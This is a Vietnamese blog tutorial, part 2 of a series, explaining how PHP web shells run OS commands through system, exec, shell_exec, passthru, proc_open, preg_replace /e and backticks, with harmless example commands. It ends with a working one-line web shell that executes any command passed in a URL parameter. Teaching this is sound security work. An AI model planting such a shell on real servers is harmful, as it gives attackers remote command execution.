Thứ Năm, 21 tháng 9, 2017

Giới thiệu về web-shells (Phần 2) - PHP web shells

Trong phần 1: Giới thiệu về web-shells. chúng ta đã tìm hiểu thế nào là web shell, web shell để làm gì...
Phần 2 chúng ta sẽ tiếp tục tìm hiểu về loại web shell phổ biến: PHP Web shells



PHP web shells sử dụng các hàm PHP để thực thi câu lệnh


system()
Hàm system() thực thi câu lệnh và xuất ra kết quả
<?php
// Return the directory listing in which the file run (Windows)
system("dir");
?>
--> Volume in drive C has no label.
Volume Serial Number is A08E-9C63
Directory of C:\webserver\www\demo
04/27/2016 10:21 PM <DIR> .
04/27/2016 10:21 PM <DIR> ..
04/27/2016 10:19 PM 22 shell.php
1 File(s) 22 bytes
2 Dir(s) 31,977,467,904 bytes free
Trên linux

<?php

// Return the directory listing in which the file run (Linux)
system("ls -la");
?>
 
--> total 12
drwxrwxr-x 2 secuser secuser 4096 Apr 27 20:43 .
drwxr-xr-x 6 secuser secuser 4096 Apr 27 20:40 ..
-rw-rw-r-- 1 secuser secuser 26 Apr 27 20:41 shell.php
exec()
Hàm exec() thực thi câu lệnh nhưng không xuất ra kết quả
<?php

// Executes, but returns nothing
exec("ls -la");
?>
-->
Sử dụng echo cùng với hàm exec() sẽ hiển thị dòng cuối cùng của kết quả câu lệnh
<?php
// Executes, returns only last line of the output
echo exec("ls -la");
?>
--> -rw-rw-r-- 1 secuser secuser 29 Apr 27 20:49 shell.php
Nếu muốn lấy kết quả trả về , ta thêm tham số thứ hai là một array:
<?php
// Executes, returns the output in an array
exec("ls -la",$array);
print_r($array);
?>

--> Array(
[0] => total 12
[1] => drwxrwxr-x 2 secuser secuser 4096 Apr 27 20:55 .
[2] => drwxr-xr-x 6 secuser secuser 4096 Apr 27 20:40 ..
[3] => -rw-rw-r-- 1 secuser secuser 49 Apr 27 20:54 shell.php )
shell_exec()
Hàm shell_exec() tương tự hàm exec(). Kết quả của hàm trả về là 1 string.
passthru()
Hàm passthru() thực thi câu lệnh và trả về kết quả dạng raw format.
proc_open()
Sử dụng proc_open(), chúng ta có thể tạo process và giao tiếp giữa script và process.
preg_replace()
Hàm preg_replace() có thể thực hiện search và replace theo regex. Tham số /e sẽ thực thi phần được replace sử dụng hàm eval(). Ví dụ:
<?php
preg_replace('/.*/e', 'system("whoami");', '');
?>
--> www-data
Backticks
PHP sẽ thực thi nội dung của backticks như một shell command.
<?php
$output = `whoami`;
echo "<pre>$output</pre>";
?>
--> www-data
Dưới đây sẽ là một PHP web shells dạng đơn giản nhất:
<?php system($_GET['cmd']);?>

Share This!


Không có nhận xét nào:

Đăng nhận xét